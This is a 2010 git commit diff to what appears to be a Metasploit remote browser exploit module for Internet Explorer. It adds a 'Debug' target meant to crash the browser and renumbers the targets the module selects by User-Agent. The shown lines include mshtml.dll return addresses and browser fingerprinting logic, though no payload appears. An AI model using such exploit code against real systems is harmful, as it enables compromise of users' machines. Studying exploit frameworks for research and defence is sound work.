add a debug target

git-svn-id: file:///home/svn/framework3/trunk@10912 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-11-05 00:08:55 +00:00
parent e84e69c5ef
commit b0f64ebba1
1 changed files with 13 additions and 4 deletions

View File

@ -82,6 +82,15 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ],
#
# Special target, we put it first so its index doesn't change.
#
[ 'Debug',
{
'Ret' => 0x00010101, # tiny spray, sure to crash :)
}
],
#
# In the targets below, 'Ret' means where EIP ends up (not under our control)
#
@ -101,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
{
'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000
}
],
]
],
'DisclosureDate' => 'Nov 3 2010',
'DefaultTarget' => 0))
@ -113,11 +122,11 @@ class Metasploit3 < Msf::Exploit::Remote
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /MSIE 6\.0/
mytarget = targets[1] # IE6 on NT, 2000, XP and 2003
mytarget = targets[2] # IE6 on NT, 2000, XP and 2003
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2] # IE7 on XP and 2003
mytarget = targets[3] # IE7 on XP and 2003
elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/
mytarget = targets[3] # IE8 on Windows 7
mytarget = targets[4] # IE8 on Windows 7
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end